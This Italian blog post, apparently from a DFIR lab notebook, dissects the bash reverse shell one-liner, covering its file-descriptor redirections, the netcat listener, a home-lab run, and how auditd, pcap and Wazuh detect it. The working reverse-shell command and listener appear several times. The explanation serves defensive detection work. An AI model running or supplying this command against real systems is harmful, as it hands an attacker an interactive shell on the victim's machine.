↓ Skip to main content
u-random
u-random
  1. Concetti/

Bash Reverse Shell - Anatomia del comando

·3 mins
intermedio
Dfir System
Alessio Barnini
Author
Alessio Barnini
Table of Contents
Bash Reverse Shell - Anatomia del comando

Cosa fa
#

Apre una shell bash interattiva e redirige stdin, stdout e stderr verso una connessione TCP remota — dando all'attaccante una shell interattiva sulla macchina vittima.

TL;DR
#

bash -i >& /dev/tcp/192.168.64.200/4444 0>&1
#    [1]  [2] [3]                        [4]
  1. bash -i — shell interattiva
  2. >& — redirige stdout E stderr
  3. /dev/tcp/192.168.64.200/4444 — connessione TCP verso attaccante
  4. 0>&1 — redirige stdin allo stesso socket

Risultato: tutti e tre i file descriptor (stdin, stdout, stderr) passano attraverso il socket TCP.

Come funziona
#

File descriptor — i tre canali standard
#

Ogni processo Linux ha tre canali aperti per default:

fdNomeCosa fa
0stdinriceve input (tastiera)
1stdoutinvia output normale
2stderrinvia errori

Pezzo per pezzo
#

bash -i

Avvia bash in modalità interattiva. Il flag -i fa sì che bash mostri il prompt, accetti input da tastiera e si comporti come una shell normale. Senza -i bash non interagisce con l'utente.

/dev/tcp/192.168.64.200/4444

Non è un file reale — è un pseudo-device di bash (non del kernel). Quando bash incontra /dev/tcp/IP/PORT nella parte destra di un redirect, apre una connessione TCP verso quell'IP e porta. Leggere da questo path riceve dati dal socket. Scrivere su questo path invia dati sul socket.

Corrisponde alla syscall connect() — visibile in auditd come syscall 203 su ARM64.

>&

Redirige sia stdout (fd1) sia stderr (fd2) verso la destinazione. È la forma abbreviata di > /dev/tcp/... 2>&1.

Dopo questo redirect:

fd1 (stdout) → socket TCP → attaccante
fd2 (stderr) → socket TCP → attaccante

0>&1

Redirige stdin (fd0) verso dove punta fd1 in questo momento — cioè il socket TCP. Dopo questo redirect stdin legge dal socket, quindi i comandi digitati dall'attaccante su Kali entrano in bash come input.

fd0 (stdin)  ← socket TCP ← attaccante (digita comandi)
fd1 (stdout) → socket TCP → attaccante (vede output)
fd2 (stderr) → socket TCP → attaccante (vede errori)

Schema completo
#

Kali (attaccante)                    Ubuntu (vittima)
nc -lvnp 4444                        bash -i >& /dev/tcp/192.168.64.200/4444 0>&1
     |                                        |
     |<====== TCP connection ================|
     |                                        |
     | digita: whoami                         |
     |=======================================>| stdin (fd0)
     |                                        |
     |<======================================= stdout (fd1): barno
     |<======================================= stderr (fd2): eventuali errori
Important

È chiamata reverse shell perché la connessione parte dalla vittima verso l'attaccante, non il contrario. Questo bypassa firewall che bloccano connessioni inbound ma permettono connessioni outbound.

Perché è rilevabile
#

  • connect() eseguita da /usr/bin/bash è anomala — bash non apre connessioni di rete nel comportamento normale
  • auditd con regola su syscall connect() la intercetta
  • Nel pcap: connessione persistente bidirezionale da porta effimera verso porta alta non standard
  • conv,tcp: durata >60 secondi con traffico bilanciato in entrambe le direzioni

Scenario Reale
#

Nel lab 2026-05-10:

# lato Kali — listener
nc -lvnp 4444

# lato Ubuntu — payload eseguito
bash -i >& /dev/tcp/192.168.64.200/4444 0>&1

# evidenza pcap
# 192.168.64.3:56134 <-> 192.168.64.200:4444
# durata: 205 secondi
# porta 56134 = effimera → Ubuntu ha iniziato la connessione

# alert Wazuh
# data.audit.syscall: 203 (connect() su ARM64)
# data.audit.exe: /usr/bin/bash

Collegato a
#

  • system — syscall e file descriptor
  • kernel-syscall — connect() come syscall ARM64 203
  • reverse-shell — tecnica MITRE T1059.004
  • incidents — categoria incident report

Related